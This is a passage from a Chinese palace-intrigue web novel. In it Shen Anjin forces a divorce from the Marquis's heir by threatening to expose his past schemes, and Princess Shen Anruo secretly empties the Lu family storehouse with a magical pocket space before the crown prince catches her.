“是啊是啊,孟小姐,往后孟小姐的宴会,我们都巴不得参加呢。” 众人你言我语的,刚刚的事情也就揭了过去,孟穗禾一脸笑意的开口。 “好好好,既然你们都这么夸我了,我往后只要是我举办宴会就一定给你们发一份帖子,不过,刚刚被拖出去的那一位就不用了,这谁家的宴会容得了这样的人疯闹啊。” “宴席已经准备妥当了,我们快去吃席吧,不然等一下饭菜要是凉了,那就可惜了,我今日可是准备了许许多多的美食。” 随即对商玄澈和沈安若做出一个请的姿势。 “太子殿下有请,公主殿下有请。” 沈安若与商玄澈相视一眼。 笑着朝前走去。 商玄澈却微微偏头,看着她脸上的笑意,陷入沉思。 原来她是那样到的青楼,难怪她那日说自己也是被人算计的。 想到刚刚所发生的事情,还知道以牙还牙。 挺好。 侯府的马车上。 沈安锦看着浑身都散发着怒意的傅承越,心虚的不行,小心翼翼的伸手拉了拉他的衣角。 “承越哥哥…你听我解释………” 傅承越条件反射的一下子甩开她的手。 “恶心!” 沈安锦一脸的难以置信 “承越哥哥………你………你说什么?” 傅承越嫌弃的看了她一眼。 “你还想我听你说什么?” “沈安锦,你是侯府的世子夫人啊,居然与别的男子………………” “你真的是…………水性杨花…………” “娶了你就是我这辈子最大的耻辱。” 沈安锦脸色瞬间苍白了起来,看着傅承越掉下了眼泪。 “承越哥哥你说什么…………水性杨花?耻辱?你说我是耻辱?” “我是被沈安若算计的啊,你是我的夫君啊,承越哥哥,你怎么能这么说我?” 傅承越一想到今日那么多人在孟家,侯府的脸面算是丢了个干净 ,怒气冲冲的开口。 “那你要我怎么说?今日孟家那么多人,沈安锦,你可想过如何跟父亲交代?” 他的眼里现在只有侯府的脸面吗?沈安锦眼里都是失望。 “傅承越,我被人欺负成这样,你不但不心疼我……………” 傅承越一想到了她跟别的男人………感觉看她一眼都觉得恶心。 “心疼你?” “沈安锦,你还要一点脸吗?” “我该心疼你什么?心疼你一夜未归是跟别的男人颠鸾倒凤吗?” “难怪你一晚上都没有什么消息,还说什么回去侍疾,原来是联合你的母亲一起欺骗我,沈安锦,你到底还有多少恶心的事情瞒着我?” 沈安锦泪流满面,眼里都是绝望。 “我没有什么瞒着你的,就这件事情,我也是被沈安若算计的,傅承越,你若真的是一个男人,你就应该替我讨一个公道,你也说了,我是侯府的世子夫人,我是你的夫人啊,我受了这么大的屈辱,你身为我的夫君对我就只有责备吗?” 傅承越闻言冷冷的看了她一眼,眼里面满是嫌弃。 “沈安锦,事到如今,你出了这样的丑事,这世子夫人你是当不了,我会跟父亲说让你当一个贵妾,往后给你一个院子,这也算是全了我们的体面。” 沈安锦听了一脸的怒意。 “你说什么?” “你要让我当妾?” 傅承越闻言冷声开口,已经没有了往日的温柔。 “能够让你留在傅家已经是顾及以往的情分了,你若是不愿意,我可以给你一份休书,不过现在沈家已经不要你了,你若是被休了只怕是无处可去了。” 沈安锦没想到这种威胁的话居然从傅承越嘴里说出来,瞳孔瞬间放大。 “所以…………” 手指甲已经深深陷入手心,后面的话噎回了肚子里。 所以他就是打定了注意,自己已经没有了娘家作为靠山,只能够依附于他,他就可以随意的作践自己。 为什么不是直接休妻?为什么不是和离,而是威胁自己贬妻为妾? 是因为还惦记着自己的那一点嫁妆吧,赔了沈安若十万两银子以后,侯府现在欠了一大笔的债,府中的所有开支都是从自己的嫁妆里面出的,若是休了自己,侯府就再也不能动用自己的嫁妆。 果然男人都是薄情寡义的,有利益价值的时候就甜言蜜语,没有利益价值的时候就弃之如敝。 坐在马车外面的丫鬟和小厮,隐隐约约的听着二人的争吵,低着头尽量降低自己的存在感,直到马车在侯府门口停了下来。 “世子,夫人,到了。” 傅承越直接下了马车,朝府里走去。 沈安锦下了马车,抬头看着侯府的牌匾。 眼里透露着悲伤。 看来侯府是没有自己的容身之处了。 青楼的事情暴露了出来,傅承越也跟自己撕破脸,当妾,这是不可能的,自己好不容易当上世子夫人,怎么可能成为一个妾。 梨花站在她的身边,小心翼翼的开口。 “夫人!” 沈安锦冷冷的看了一眼梨花。 “还喊什么夫人?现在开始叫我小姐,走,回沈家。” 第五十四章 我要去天元 说完就转身朝沈家的方向走去。 梨花急忙跟上去。 “夫………小姐,沈家已经…………我们只怕是回去了也进不去。” 沈安锦吩咐道。 “没有眼力见的东西,还不去租一辆马车,难不成你想要本小姐走回沈家吗?” 沈安昕沈安若还在孟家,自己要趁这个时间见到母亲,因为青楼的事情傅承越已经对自己没有情分了,若是保不住世子夫人的位置,自己就要最大程度保全嫁妆。 侯府。 书房里。 忠勇侯看着眼前的傅承越眼里带着惊讶。 “什么?你要让沈安锦当妾?” “你以往不是非要她当妻子不可吗?” 傅承越只感觉自己有些说不出口。 “父亲,你说的没错,她的确不适合当世子夫人。” “今日的宴会上,她的行为举止实在是上不得台面,以前是儿子任性了,以后儿子的夫人还是由父亲母亲来挑选吧。” 忠勇侯看了看他。 “想明白了就好,为父会找一个机会去官府说清楚,将婚书上沈安锦的名字划去。” 沈家。 沈安锦到了沈家门口,果然被守门的人拦下。 “安锦小姐,大小姐吩咐过,你不得踏入沈家半步。” 沈安锦哭花了的脸此时已经收拾好,看来是在马车上收拾的,目光带着几分凌厉地看着守门的奴才。 “放肆。” “我乃是忠勇侯府的世子夫人,今日特意来拜见沈夫人,一个小小的看门狗也能敢阻拦本夫人” “梨花,给本夫人掌嘴。” 梨花带着一抹惊讶的看了一眼沈安锦,刚刚小姐不是说以后就不是夫人了是小姐了吗?怎么这会又自称夫人了? 见她反应迟钝,沈安锦瞪了她一眼。 “还不动手?” 梨花急忙上前抬手一巴掌打在小厮的脸上。 “放肆,居然敢对世子夫人不敬。” 小厮摸着脸,咬了咬牙。 “奴才也是奉大小姐之命…………” 沈安锦一身的怒意,一步一步的往里走。 “即便我不是沈家的小姐,我也还是忠勇侯府的世子夫人,轮不到你一个狗奴才作贱。” “本夫人再说一遍,今日本夫人乃是来拜见沈夫人的,若是你再敢阻拦,当心你的狗命。” 侯府的世子夫人自己的确没有资格阻拦,大小姐和公主现在都不在府中,小厮一时之间十分为难,不知如何是好。 沈安锦看着他这般模样,不屑的看了他一眼,果然,奴才就是奴才,碰高踩低的狗东西。 一路直奔柳院。 柳院,柳依依看着账本发愁,自从沈一山赔了沈安若十万两银子以后,府中的日子就拮据了起来,越想越气,捏着账本的手越发的收紧,都怪这个沈安若当真是把事情做的太绝了,哪有让自己亲生父亲还银子的道理? 忽然门一下子被推开,只见沈安锦气呼呼的走进来。 柳依依诧异的站起来。 “锦儿,你怎么回来了?不是说你暂时就在侯府好好的过日子吗?” 沈安锦走到一旁坐下,抬手给自己倒了一杯茶一饮而尽,然后紧紧地咬住自己的嘴唇,眼泪一颗又一颗的滚了下来。 柳依依见状急忙走到她的身边,一脸着急的开口。 “锦儿,你这是怎么了?是侯府那边给你委屈受了吗?” 沈安锦将身子往后靠了靠,整个人瘫软在椅子上,身心疲惫。 “母亲,侯府我没办法待了。” 柳依依听得云里雾里的。 “什么意思?什么叫做侯府没办法,呆了,难不成就因为你不是沈家的女儿了,他们就要赶你出来?你可是有婚书的世子夫人,他们怎么能够如此……………” 沈安锦微微仰头,眼里都是绝望,眼泪顺着眼角滚落,打湿了耳边的发丝。 “母亲,不只是这件事。” “青楼的事情被爆出来了。” “而且还是在孟家的宴会上,现在整个南都的人都知道了这件事情,傅承越说…………说要我当妾,母亲,我不可能当妾的,我要是当妾当初所做的事情全都白费了。” 柳依依听得一脸的震惊,眼里都带着一抹慌乱。 “怎么会?” “那个张屠夫不是已经………” 沈安锦睁开了眼睛,看着柳依依眼里带着一抹埋怨。 “我也想问问母亲母亲,你不是说了你会将人处理干净吗?” “为什么他会出现在孟家的宴会上?” 柳依依听得眉头紧皱。 “这不对啊?我明明让人去处理了,而且我还花了两百两银子,那人说已经处理了干净的,难不成……………” “难不成我被骗了?” 沈安锦擦拭着脸上的眼泪开口。 “这还不明显吗?” “母亲你就是被人骗了。” “而且这件事情我怀疑与沈安若有关,不然怎么会有这么巧的事情?南都这么多屠夫,怎么会偏偏是张屠夫去孟家送肉,又怎么会那么碰巧的就遇上了我?” 柳依依听得脸上都是怒意。 “好一个沈安若,她的恶毒还当真是超乎了人的想象。” 随即一脸的担忧。 “锦儿!” “即便是我们知道的沈安若与这件事情有关,她马上就要前往天元了,我们也………” “为今之计,还是你在侯府那边的位置,你好不容易才得来了世子夫人的位置,绝对不能够就这么丢了。” 沈安锦一脸的恨意。 “沈安若,我绝对不会放过她的。” “母亲,今日世子态度坚决,而且整个南都的贵女公子都去了,今日的事情恐怕明日就会传开,忠勇侯绝对不可能让我继续再当世子夫人,所以这侯府的世子夫人我不要了,我需要母亲你帮我。” 柳依依闻言急忙一脸着急的开口。 “这怎么行呢?” “锦儿…………” 沈安锦伸手抓住柳依依的手,看着她的眼睛,眼里都是祈求。 “母亲,父亲若是知道了这件事情,只怕也会觉得我丢脸,可我明明是被沈安若算计的,母亲,只有你能帮女儿了,只有你会心疼女儿了,母亲你能不能再帮帮我?” 柳依依见状握着她的手。 “傻孩子,你说的这是什么话?我是你的母亲啊,哪有母亲不帮自己女儿的,你说,你要母亲给你做什么?” 沈安锦咬牙切齿的开口。 “我与傅承越相识多年,我太了解他的性子了,喜欢一个人的时候,可以把她捧上天,一旦不喜欢了,就恨不得踩死对方,最是自私,薄情寡义,侯府现在因为赔了沈安若银子,外面还欠着债,他之所以不休了我,不是选择和离,而是贬妻为妾,就是想要侵吞我的嫁妆。” “我要母亲你以沈家夫人的身份陪我走一趟侯府,拿到一封合离书,将我的嫁妆全部取回来。” 和离的女子要想再嫁就难了,更何况锦儿现在名声都毁了,柳依依看着她一脸担忧的说道。 “锦儿,这不行,不是母亲不帮你,你这样是和离了,以后要想再寻一门亲事就难了,何况你现在与沈家……………” “锦儿,要不行,母亲陪着你回去再求一求世子吧,世子喜欢你这么多年,肯定不会轻易放弃你的。” 沈安锦听了摇了摇头。 “没有用的,母亲,傅承越会心软的,就算他真的会一时心软,侯府也不会答应。” 柳依依心疼的掉眼泪。 “这要是和离了,那你和怎么办啊?” “锦儿,要不,要不咱去见你父亲!” 沈安锦又摇了摇头。 “母亲,只要有沈安若沈安昕在,父亲不会帮我的,母亲,要是真的心疼女儿,就现在与我去侯府一趟,再耽搁下去,只怕是损失更多。” “母亲你放心,女儿知道现在家里也拮据,到驾照拿回来以后,女儿只要三分之一,剩下的全部拿给母亲,至于往后的路怎么走?女儿已经想好了,女儿是一定要与沈安若斗到底的。” “所以,母亲,女儿要去天元 ,我之所以被害成这个样子,都是因为我身份卑微,人外有人,天外有天,她沈安若在南诏的确身份尊贵,可去了天元那样的大国呢?” 第五十五章 大家一起死啊 柳依依听得吓了一跳。 “锦儿,这不行,你不要被沈安若气昏头了,天元那么远的地方,你怎么能去?” “而且,你走了母亲怎么办?” “儿行千里母担忧,你一个姑娘,没有家人在身边怎么活下去?” 沈安锦一脸坚定的开口。 “母亲,天元我是一定要去的,沈安若一天不死,我就活得憋屈。” “好了,母亲,我们不说这个,这个我们以后慢慢说。” “现在,我们马上去侯府,再耽搁下去,沈安若与沈安昕再出幺蛾子,女儿的处境就更加为难了。” 侯府。 傅承越在房间里借酒消愁,怎么就成为了这样的局面?当初明明是想着吞了沈安若的嫁妆,娶了自己想娶的姑娘。 为什么沈安若就不乖乖的听话?她若是当初答应当妾,自己以后也会善待她,她为什么就要将事情闹成如今这样子? 难不成以往她对自己的喜欢都是假的吗? 小厮走进来,看着一身酒气的傅承越开口。 “世子,沈夫人与少夫人来了,侯爷请世子去前厅。” 侯府前厅。 忠勇侯与侯夫人坐在左面,沈夫人与沈安锦坐在右面。 侯夫人看着柳依依。 “沈夫人,安锦不是已经跟沈家断亲了吗?” “不知沈夫人今日来是有何要事?” 还真是翻脸如同翻书般的快,柳依依看着二人开口。 “即便是锦儿与沈家断了亲,她也还是我柳依依的女儿,只要有我柳依依在一天,我就绝对不允许任何人作践她。” 忠勇侯听了微微皱眉。 “沈夫人这是什么意思?” 沈安锦抓住了柳依依的手,微微摇头。 “父亲,还是等世子来了再说吧。” 傅承越走进来,就看到了沈夫人,眼里带着一抹不悦。 “沈安锦,你这是又要闹什么,还嫌事情不够难堪吗?” 沈安锦闻言强忍着眼里的眼泪,抬头看着傅承越。 “我今日只问世子一句话。” “是不是真的要贬妻为妻?” 傅承越因为喝了酒,原本压制的脾气根本就再也压制不住。 “你做出了那样的事情,能够让你当一个妾已经是给你脸了,沈安锦,若是不知好歹,就你这样水性杨花身败名裂的女人,在南都根本就活不下去。” 忠勇侯见状看着傅承越,忍不住沉思。 看来是还发生了什么自己不知道的事情,不然他之前那么喜欢沈安锦,如今怎么会在大庭广众之下恶言相向? “承越,你是不是还有事情没有跟父亲说?” 侯夫人也察觉到了不对劲,看着傅承越。 “越儿,你告诉母亲,这沈安锦到底做了什么不要脸的事情,把你气成这样?” 傅承越抿了抿唇,自己要如何说?说自己心爱的女人,给自己戴了绿帽子吗? 柳依依在一旁开口。 “当初世子去沈家的时候,一次又一次的承诺过,这辈子都会护着锦儿,当好一个丈夫,如今成婚不到一月,居然就要贬妻为妾,这其中也发生了许多的事情,是非黑白我沈家也不愿再说,既然世子不喜欢我的女儿了,那就请将她还给我。” “我柳依依的女儿不可能当妾,今日就劳烦世子签下和离书,就此两家各不相干。” 和离?侯夫人眉头一皱,这怎么行?若是和离,沈安若是可以带着嫁妆离开侯府的,那到时候自己岂不是又要操心侯府大大小小的开支? “虽然我还不知道沈安锦到底做了什么不要脸的事情?不过能够把我家越儿气成这样,看来事情绝对不可能是小事,我知道沈夫人心善,还念及以往的情分想要给她撑腰,但是沈夫人不要忘了,你姓柳,不姓沈,这要是和离了,沈安锦可就无处可去了,以后更不可能有什么好的婚事了。” 柳依依闻言看着侯夫人开口。 “这就不劳烦侯夫人操心了,我柳依依的女儿自己养得起。” 沈安锦拿出写好的和离书。 “世子,你我相识多年,原本想着还能够白头到老,可现在发生的事情让人一言难尽,或许我们从一开始就是错的,谁对谁错,如今也没必要再去辩论,今日世子签了和离书,我们好聚好散。” 傅承越一下子瞪大了眼睛,看着她手中的和离书,酒也清醒了几分。 “沈安锦,你居然要和离?” “你怕不是气昏头了,沈家都不要你了,和离了你能去哪里?” 沈安锦脸色带着一抹冷意。 “这就不劳烦世子操心了。” “天色也不早了,还请世子快些签了和离书,我好带着我的嫁妆离开。” 侯夫人一下子开口。 “不行。” 随即目光看向傅承越。 “越儿,你倒是说啊,她到底做了什么要脸的事情?” 傅承越目光直盯着沈安锦。 “沈安锦,你我之间有许多事情很难说清楚,你现在撕了和离书,侯府还有你的一席之地。” 沈安锦看着傅承越,眼里面带着一抹嘲讽。 “世子到底是顾念旧情愿意给我留一席之地,还是不想让我将嫁妆带走?” 自己的心思就这么被拆穿了,傅承越脸色难看了起来。 “你…………” 沈安锦目光看向忠勇侯。 “父亲…………哦,不,应该喊您一声侯爷。” “这些日子的确是给侯府添麻烦了,既然现在侯府不要我了,还请侯府让世子签了和离书,毕竟堂堂忠勇侯府,总不至于要贪图我的嫁妆吧?” 侯夫人急了起来。 “越儿,你倒是说话啊?” “她到底做了什么不要脸的事?” 罢了,左右这件事情自己不说,也会传到父亲耳朵里的,傅承越低下头,只感觉一脸的难堪。 “沈安锦在青楼与一个男子发生了关系,今日在孟家被那个男子拉拉扯扯,所有人都看见了…………” 侯夫人一听,冲上去就要扬手打沈安锦一巴掌。 “贱人,你居然如此不要脸…………” 可是手却被柳依依抓住。 “侯夫人,这是我柳依依的女儿,轮不到你来教育。” 沈安锦看了看傅承越,偷换概念断章取义,这个男人,还是比了解的还要烂。 “侯爷,侯夫人倒是也不必发怒,我之所以出现在青楼也不过是被沈安若算计的罢了,沈安若为什么算计我?还不是因为当初我们算计了她?” “当初算计她的时候,世子不也………” 傅承越怒吼道。 “你住嘴,沈安锦,你是我傅承越的女人,就算你当不了世子夫人,我也不可能让你离开,你只能在侯府。” 还真是恶心啊,沈安锦看了看几人。 冷笑道。 “世子,好聚好散对我们都好,若是侯府存了当初算计沈安若那样的心思算计我,那我不介意鱼死网破,把侯府算计凰仪公主的事情抖出来,到时候大家一起死啊。” 第五十七 沈家的女儿都有点疯 此言一出,整个前厅瞬间陷入了一片死寂。忠勇侯的脸色变得异常难看。 侯夫人更是一脸怒意的看着沈安锦。 而傅承越则是震惊地看着沈安锦,仿佛第一次真正认识她一般。 “你……你疯了!” 看着几人的脸色,沈安锦的眼里更是闪过一抹疯狂。 “对,我就是疯了,我沈安锦如今什么都没有了,就只剩下一点嫁妆,所以世子还是不要把人逼急了,把我惹急了,我就拉着所有人下地狱。” “再或者,世子,你我都是最了解彼此的人,当初世子对沈安若做过一些什么,我也是一清二楚的,我要是去找沈安若请罪,把世子你当初做的事情都抖出来,你们说就以沈安若现在的性格,会不会弄死你们整个侯府啊?” “拿我一个人换你们整个侯府陪葬,我沈安锦也算是值得了。” 这姓沈的怎么一个二个都如此的疯?忠勇侯脸色阴沉如墨。 “既然她要和离书,那就签给她吧。” 侯夫人一听着急的开口。 “侯爷。” 忠勇侯冷冷的看了她一眼。 “闭嘴。” “你这侯夫人怎么当的?” “连一个家都管不好。” 侯夫人被训斥的不敢再言语,只是一脸愤恨的盯着沈安锦,都是这个祸害,自从她进了侯府,就一直风波不断。 傅承越握紧拳头,指甲几乎嵌入掌心,沈家的女儿好样的,一个个都来逼自己,可是沈安锦所言非虚,若真将那些事情抖露出来,侯府必将陷入万劫不复之地。 权衡利弊之后,不得不做出妥协。 “好,沈安锦,我签!但愿你离开侯府后不会后悔。” 见傅承越签下了和离书,沈安锦将其收了起来。 “多谢世子成全,世子放心,我沈安锦做事只有愿愿赌服输,绝对没有后悔。” 柳依依见状开口道。 “侯夫人,咱们都在南都,往后抬头不见低头见的,既然今日是好聚好散,我的女儿我就带回去了,她的嫁妆我也收回了。” 孟家门口。 沈安若看着眼前的两马车,这里面装的都是今日所收的礼物,眼里都忍不住有了光芒,好多好多的好东西啊,加上贵妃娘娘和孟家给的,真的发财了。 商玄澈看着她嘴角勾起一抹笑意。 “这么开心?” 沈安若看着那些礼物一脸笑意的点了点头。 “当然开心啊,我觉得等我到了天元,你还可以给我办一场欢迎宴会。” “你们天元可是大国,到时候收到的礼物肯定比这还要多。” 商玄澈闻言忍不住嘴角抽了抽,还真是一个小财迷。 “等到了天元,太子与太子妃大婚,可以收得更多。” 沈安若闻言眼里不禁期待了起来。 二人上了马车,带着两车礼物回沈家。 陆今也此时一身白衣,透露着儒雅的气质,站在墨香居的院子里。 见沈安若与商玄澈进来,急忙低头拱手。 “陆今也参见公主,参见太子殿下。” 沈安若打量了他一眼,果然要得俏一身孝,这陆今也一身白衣,面容虽然带着几分消瘦,但是肤色比常人还要白上几分。 “你母亲的后事处理完了?” 陆今也闻言再次拱手。 “是,以后陆今也就是公主殿下的人了。。” 沈安若听了微微点头,看着身后抬进来的箱子,这都是今日所收的礼物,吩咐了一句。 “翡儿,将这些东西收进库房。” 商玄澈则看了一眼陆今也,眼里透着一抹意会不明。 玉儿此时也走上前。 “公主。” 沈安若看了一眼陆今也。 “玉儿,在墨香居给陆公子安排一个房间。” 一旁的商玄澈开口了。 “凰仪,本宫知道你心地善良,愿意在陆公子最难的时候帮衬一把,可到底男女有别,陆公子住在你的院子里并不合适。” 果然古代限制就是多啊,沈安若忍不住皱眉。 商玄澈伸手握住她的手。 “凰仪,我们是未婚夫妻,等到了天元以后就要举行大婚之礼,既然你想帮一帮陆公子,本宫身为你的未婚夫,自然也是愿意搭一把手的,不如让陆公子住本宫的院子吧。” “左右本宫院子里有不少空房间。” 这倒是一个不错的法子,沈安若点了点头。 “既然如此,那就劳烦太子殿下了。” “夜深了,殿下先回去休息吧。” “本宫有一个问题问一问陆公子,稍后让玉儿带他去殿下的院子。” 有什么话是自己不能听的?商玄澈看了一眼陆今也,轻微的皱眉,随即转身面对着沈安若,一脸温柔地笑着伸手将她耳边的碎发拨弄到耳后。 “好,那你忙完以后早些休息,明日一早本宫过来陪你用早膳,用过早膳以后本宫再陪你在南都逛一逛,你看看你有什么喜欢的,都买来带去天元。” 苍术在一旁看着忍不住嘴角抽了抽,啧啧啧,虽然这两日知道未来的太子妃于殿下而言不一般,但是殿下这反应会不会有点太过于………… 陆今也则抬头看了二人一眼,然后又低下了头,小仙女身边有人守护了。 要叮嘱的这么详细的吗?沈安若俏皮的笑了一下。 “好,我知道了,谢谢太子殿下。” 看着她脸上俏皮的笑意,商玄澈伸手刮了一下她的鼻尖,目光里带着一抹宠溺。 这才转身离开。 走两步,回头看了一眼陆今也,然后又继续朝前走去。 陆今也总感觉有哪里不对劲,但是又说不上来,见商玄澈离开了,朝沈安若跪下。 “公主………” 第五十七章 被发现了 咦,真的是动不动就要跪,沈安若弯腰扶着他的手臂。 “快起来吧,本宫知道你要说什么,无非这又是那些感谢的话。” 陆今也抬头看着沈安若。 “是公主救了我,也是公主给了我的母亲一份体面,公主的大恩大德陆今也就是当牛做马也难以报答!” 沈安若闻言开口道。 “不要你当牛做马,走吧,进去喝杯茶。” 很快二人进入室内,玉儿上前给二人都倒上了热茶。 “本宫记得那日你说想替你母亲和离,陆家可有为难你。” 陆今也端着手中的茶杯,温热的感觉似乎能够传递到自己的心里,这些年,除了母亲从未有人关心过自己是否被人为难。 “原本一开始陆大人是不愿意签字的,但是有玉儿姑娘在,最终看在公主的面子上,倒是也没有对在下过多为难。” 随即面色带着几分不安,就连握着杯子的手都忍不住收紧。 “公主,我这些年在陆家,除了看书看账本算账,别的我好像没什么会的,我若是留在公主身边,殿下不要嫌弃我好不好?我不会的我都会学,我也不怕吃苦。” 看着他眼里都透着不安,沈安若忍不住在心里叹息一声,唉,母亲生病,父亲不疼,姨娘庶子殴打算计,这孩子也是一个可怜的,看着这样子才十五呢,这要是在现代,还在上高中呢。 “你不用紧张。” “本宫倒是觉得你已经很优秀了,在你这个年龄能够独自处理好母亲的后事,能够替你母亲和离,你就已经比太多人有魄力了。” 比别人有魄力吗?陆今也抬头看着沈安若,眼里带着一抹震惊,小仙女这么肯定自己。 沈安若看着他肯定的点了点头。 “本宫让人查过,你的母亲这病已经两三年了,这两三年里,你一直想尽办法给你母亲看病守着她,就你这一份孝心就是很难得的,而且在这期间,你一有时间就看书看账本研究算术。” “陆今也,你本来就是一个很优秀的人,只不过是遇到了一些烂人烂事,本宫相信假以时日,陆家的人在你面前什么都不是,所以从现在开始,往事消沉无需追,前路漫漫亦灿烂。” “你若想留在南诏,本宫可以给你谋一份差事,你若是跟着本宫走,本宫往后罩着你。” “不过本宫和亲天元,只怕是会有很多事情,身边甚至会有危险,你是本宫的人,可能也会有人针对你。” 陆今也闻言急忙起身。 “殿下,今也要一辈子跟着殿下,只要跟在殿下的身边,今也什么都不怕。” 看来自己真的得多带一个人去天元了,也好,自己身边缺一个商人,天元那样的大国肯定有许多商机,可以挣很多银子。 “既然你母亲与陆家和离了,那你母亲的嫁妆呢?” 嫁妆,母亲的嫁妆,自己能够替母亲和离已经很好了,怎么敢跟陆家要嫁妆,陆今也低下头,似乎在责怪自己的无能。 “母亲的嫁妆在陆家,这两年父亲一直以母亲身子不好为理由,管家之权已经给了周氏,我拿不到母亲的嫁妆…………” 沈安若听得皱眉。 “所以陆家这是要吞了你母亲的嫁妆!” 陆今也拳头紧握。 “岂止是母亲的嫁妆,陆家现在的一切都是我母亲挣的,父亲也是因为我母亲一直挣银子,怕别人说他吃软饭,这才借周氏一直打压我们。” 这陆言还真是够不要脸,不过陆今也都跟着自己了,自己替他拿回母亲的嫁妆也合理吧?看来今夜可以走一趟陆家了,沈安若看向陆今也。 “本宫知道了,你先去休息,若是南都有什么朋友的,明日找玉儿拿银子,约朋友吃吃饭告别一番,过几日就要出发天元了。” 南都的一处院子里。 时隔多年,没想到自己又回来了小时候的院子,沈安锦心里五味杂陈,嫁妆也被抬到了院子里,柳依依拉着她的手。 “锦儿,你先住在这里,母亲回去与你父亲商议一番,会尽快将你接回家的,你也不要害怕,母亲将家丁和婆子都留在这里保护你。” 丫鬟小厮将她的嫁妆搬进房间里,沈安锦则打量着院子里,这里是自己与母亲所住的地方,在那些见不得光的日子里,自己与母亲在这小小的院子里相依为命,等待着父亲,偶尔来看看自己和母亲,沈安锦脸上露出一抹苦笑。 “没想到当初进了沈家以后,考虑到与母亲在这里住了多年,买下了这个院子,如今倒是又一次成为了我的容身之所。” 柳依依拍了拍她的手。 “锦儿,别难过,当初母亲都能带着你从这个院子步入沈家,如今已会想办法将你再一次从这里接回沈家,你等着母亲。” 沈安锦却勉强的挤出一抹笑意。 “母亲,已经很晚了,母亲你先回去吧,女儿担心回去的太晚父亲会责怪母亲。” 柳依依担忧的看了一眼沈安锦,随即朝丫鬟小厮叮嘱。 “都给本夫人把大小姐照顾好了,若是大小姐有半点差池,当心本夫人扒了你们的皮。” 院子里的丫鬟小厮急忙行礼。 “是。” 沈家。 沈一山一脸的阴沉,堂堂沈家夫人,这都半夜了,还未回来,成何体统? 小厮疾步而来。 “大人,夫人回来了。” 柳依依一进来就看到了沈一山一脸怒意的模样,福身行礼。 “老爷。” 沈一山抬手将桌子上的茶杯砸在了地上。 “你还知道回来?” “也不看看现在是什么时辰了,堂堂尚书夫人居然半夜才回家,这要是传出去,让我的脸面往哪里搁?” 柳依依见他发怒,起身在旁边坐下,抬手给自己倒了一杯茶。 “老爷的眼里就只有自己的脸面吗?” “是不是你的妻子,你的女儿在你的眼里已半文不值?” 听着柳依依责备的话,沈一山脸上更加不悦。 “你半宿未归你还有理了?” 柳依依抬头看着他,面对他的怒意只感觉自己的心一点一点冷下来。 “老爷都不问一下我为什么这么晚回来吗?” 沈一山看了他一眼,似乎在等着她的解释。 柳依依看着他。 “我之所以这么晚回来,那是因为陪着锦儿去了一趟侯府,锦儿被侯府逼迫,贬妻为妾,老爷你这个做父亲的不为她出头,还要来责怪我这个为她出头的母亲吗?” 沈一山听得眉头一皱。 “什么?” “贬妻为妾?” “这是又出了什么事?安锦现在的名声已经………怎么就不知道乖巧一点讨世子欢心?她若是被侯府贬妻为妾了,这岂不是让人笑掉大牙?” 柳依依看着沈一山,他就不问一句锦儿难不难过?也不问一句锦儿有没有受委屈?眼里带着一抹失望。 “老爷,我们沈家的女儿不可能当妾,我已经陪着锦儿与世子和离了,和离书明日会拿去官府备案,我知道老爷你现在顾及公主那边,我会等着公主离开南都以后再去将锦儿接回来 。” 陆家。 此时沈安若一身黑衣,身影巧妙的躲过府中的侍卫,陆言是中武将,府中的侍卫都是退下来的老兵,敏锐比一般小厮好太多了。 准确的来了陆家的库房,用迷香迷晕了看守库房的家丁,然后进入库房,抬手打亮了打火机,看到了库房里摆放的箱子,随意打开几个,都是一些值钱的东西。 沈安若直接抬手将屋里的东西连带箱子收了进空间,陆言这种忘恩负义抛弃糟糠之妻的人怎么配用这么多的银子和好东西。 忽然外面响起一道声音。 “快来人啊…………有贼……………” 第五十八章 本宫看上了公主 沈安若心中一凛,迅速将最后几个箱子收入空间,身形一闪,消失在了房间里。 此时院子里已经被火把照明,脚步声越来越多,很快就有人闯了进来。 “快,查看库房…………” 陆言冲进库房,只见整个库房都空了,就像是这里曾经是一个空屋子一般。 “这……这是怎么回事?” 陆言瞠目结舌,环顾四周,空荡荡的库房让他难以置信。 他的脸上瞬间布满了汗水,心中涌起一股不祥的预感。 库房不会就真的这么凭空消失了吧? “大人,所有的箱子都不见了,看样子是被人一夜之间全部搬空了!”一个侍卫慌张地开口。 陆言怒不可遏,咆哮道。 “废物!你们都是干什么吃的?库房这么多的箱子被搬走,这得是多大的动静?你们居然没有一个人发现!” 侍卫们战战兢兢,大气也不敢出,生怕成为陆言的出气筒。 陆言环顾房间里,似乎想找到什么线索。 可是空荡荡的房间里,什么线索都没有。 “追,给我追,这么多的箱子,贼人就算带着也不可能走远给全程搜索。” 侍卫们闻言又急忙跑了出去,开始在整个陆家搜查,想要找到陆家财产的蛛丝马迹。 等到外面的脚步声走远,沈安若又出现在了房间里。 这空间真的是一个好东西,唯一有一点遗憾,就是自己在哪里进入空间的出来还在原地。 要是能够在空间里瞬移就好。 整个陆家灯火通明,四处都是侍卫搜查的声音。 快,看看这边…………” “查一查这边……………” 沈安若站在库房窗户的位置,果然,最危险的地方也是最安全的地方,可是自己也不能在这陆家的库房一直待着,这该怎么离开呢?现在满腹都是侍卫小厮,真的是让人有些发愁了,要不行杀出去? 忽然外面又响起了声音。 “走水了…………” “快,救火啊…………” 就是还有人看陆家不顺眼吗?居然陆家又着火了? 很快外面的侍卫都去忙着救火,沈安若趁机离开了库房,挑着隐蔽的地方几个飞跃,翻墙离开了陆家。 靠在巷子的墙面,沈安若深呼吸了几口气,哎,这具身子还是太弱了,自己还得找时间练一练,不然下次再遇到这种情况,岂不是完犊子了? 忽然一道声音响起。 “凰仪,不准备谢谢本宫吗?” 握草,这啥时候有了一个人?沈安若一抬头看去,只见商玄澈站在不远的地方,一身黑衣,缓缓抬手摘下自己的面巾。 沈安若的眼睛眨了眨。 “太子殿下,好巧。” 商玄澈朝她走近,低头看着她。 “不巧,本宫一路跟着你的,只是有些意外,堂堂公主居然夜探陆家,也不知道陆家是有什么重要的东西吸引公主。” 自己总不可能说把人家陆家的库房给搬空了吧?沈安若有点尴尬的咬了咬唇。 “这个,这个………这个………嗯…………” 商玄澈盯着她的脸,又微微靠近了一些。 “这么难说吗?” 沈安若忽然灵机一动。 “嗨,也没有什么不好说的,我只是觉得事关别人,可能我说了不太好,既然太子殿下一直问的话,那我就说给太子殿下听一下嗯,主要是陆今也他母亲留给他一样很重要的东西,陆家又扣着不给他,嗯,你知道的,本宫向来心善就来替他取一下了。” 商玄澈听了又凑近了她几分。 “凰仪公主还真是善良呢,为了一个男人都不顾自己的名节,今晚要是公主被陆家的人抓了个正着,这要是传出去…………” 